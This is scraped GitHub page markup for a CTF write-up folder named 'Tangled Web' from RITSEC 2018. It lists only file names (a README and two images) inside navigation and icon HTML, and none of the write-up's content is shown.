1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> berkeakil </span> <span>/</span> CTF-Writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>3</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/berkeakil/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":148139157,"originating_url":"https://github.com/berkeakil/CTF-Writeups/tree/master/2018/RITSEC-18/Web/Tangled%20Web","user_id":null}}" data-hydro-click-hmac="ed861f991fc3849a73b29c3cb31f363d0cd35f9f5257e719dfdf87c18e3b3832"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/berkeakil/CTF-Writeups/refs" cache-key="v0:1536582544.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="YmVya2Vha2lsL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/berkeakil/CTF-Writeups/refs" cache-key="v0:1536582544.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="YmVya2Vha2lsL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>RITSEC-18</span></span><span>/</span><span><span>Web</span></span><span>/</span>Tangled Web<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>RITSEC-18</span></span><span>/</span><span><span>Web</span></span><span>/</span>Tangled Web<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/berkeakil/CTF-Writeups/tree-commit/c2d5ce76e42064ce9bb9b1ab1533038b280dd112/2018/RITSEC-18/Web/Tangled%20Web" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/berkeakil/CTF-Writeups/file-list/master/2018/RITSEC-18/Web/Tangled%20Web"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>README.MD</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Stars.png</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>last_step.png</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> 